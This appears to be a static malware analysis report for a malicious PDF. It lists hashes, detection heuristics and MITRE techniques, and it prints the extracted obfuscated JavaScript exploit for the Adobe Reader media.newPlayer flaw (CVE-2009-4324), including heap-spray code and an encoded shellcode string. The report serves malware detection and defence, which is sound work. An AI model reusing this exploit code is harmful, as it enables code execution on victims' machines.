Malicious PDF — malware analysis report

Static analysis result for SHA-256 ce1537f8011b4696…

MALICIOUS

PDF

79.4 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2026-05-10
MD5: 66722e9c66d5acb7d8e82e5cd90beaf1 SHA-1: 2b509e3fdae9b45229ebd2c861d1417940df114d SHA-256: ce1537f8011b46960e91414010bed36b33d56d4ec4f5aed5fc7a0c2ba9610858
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains embedded JavaScript that leverages the CVE-2009-4324 vulnerability, specifically targeting the media.newPlayer API. This exploit is designed to execute arbitrary code, likely to download and execute a second-stage payload. The presence of multiple embedded PDF objects and obfuscated JavaScript streams further indicates a malicious intent to conceal the exploit's true nature.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9997

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     var nop0 =  unescape("\x25\x750c0c");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x514 2307 bytes
SHA-256: f3ee07ac56738a90ff639101bfed568557a16d933c9cff3dac0ddf23dd5faeae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
function AppendLoop(ss,len)   
{   
	for(slen=0;slen<len;)
	{
      ss +=ss;
	  slen = ss.length;
	}
	return ss;
}  

function urpl(k,sc)
{
	var c = "u";
	var kc=k+c
	var re = /XX/g;
	sc = sc.replace(re,kc);
	return sc;
}

var une = unescape;

var sc = "XXc8d9XX74d9XXf424XXeebaXXe0ecXX29dcXX5fc9XX37b1XX5731XX8314XX1001XX2402XX4207XXdce0XX55eeXXdce4XXeceeXXb8bfXXdc4fXXdce0XX67eeXXd0a0XX9c65XX71fcXX8465XX8de8XX9965XX57dcXXc29aXXdf98XXba1bXXaa6bXXefceXXef15XXa527XX71a1XX29edXX07d3XX52e1XXe4f0XX981cXX1de8XXe125XX06e3XX07aeXXe711XX99f1XX8207XXb265XXdfc4XX8a33XXd06bXX67a5XXc0beXX31edXXd86bXXef65XX7725XX0eb7XXef5cXX6f35XXd823XXec84XX23b3XX10b9XXdbdbXX1f9bXX8369XX7512XX8eb2XX9b11XX23e4XX1099XX8b1fXX7516XX9c8aXXec86XXdcf0XX13eeXXd497XX13bcXX28b7XXab67XXb618XX61eeXX28a7XX13beXXd497XX9b11XX2318XX1099XX8b1fXX671eXXd0afXXab65XX1c18XX38e6XXec60XXac84XX2b02XXbb11XX3418XX13a3XX231fXX89f8XXcc1aXX26baXX4d4fXXe442XXaa3aXX7743XX039dXXd169XXdce1XXce2cXXdce0XXee36XXdce1XXeed6XXdce0";
sc = une(urpl("%",sc));

function j_exp()   
{ 

	var a = "\x6D\x65\x64";
	var c = "\x69\x61";
	var b = "\x6E\x65\x77\x50\x6C\x61\x79";
	var d = "\x65\x72";
	var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
	var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
	var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
	var h =  "\x70\x72\x69\x6E";
	var i =  "\x74\x64";
	var j = h+i;
	var str1="XX0d0cXX0d0cXX0d0cXX0d0cXX4170XX6d7aXX554bXX4d67XX794fXX514fXX6f4dXX585aXX764fXX4c56XX6f4bXX4858XX4249XX666dXX566fXX625aXX4567XX7568XX6a46XX5258XX714eXX7961XX7a61XX4878XX756bXX754dXX4c57XX647aXX5870XX4d46XX4462XX4b4f";
	str1 = une(urpl("%",str1));
	var nop0 =  unescape("\x25\x750c0c");
	var ab = "\x76\x69\x65\x77\x65\x72\x56";
	var bc = "\x65\x72\x73\x69\x6F\x6E";

	memory=new Array();
	for(i=0;i<0xE00;i++)
	{
      memory[i] = AppendLoop(nop0,18000);
      memory[i] +=sc;
	}

	if(app[ab+bc]<9)
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](f+g, e); 
	}
	else
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](str1,e);

	}

}

if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
	j_exp();  
}
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x514 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
polyglot_child_pdf_off0001210a.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x1210A 7293 bytes
SHA-256: fe1583c05ef0f6ed7c71670ad19cd2a07df15d70ab1eb8a466454eab6eb1f527
polyglot_child_pdf_off0001259a.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x1259A 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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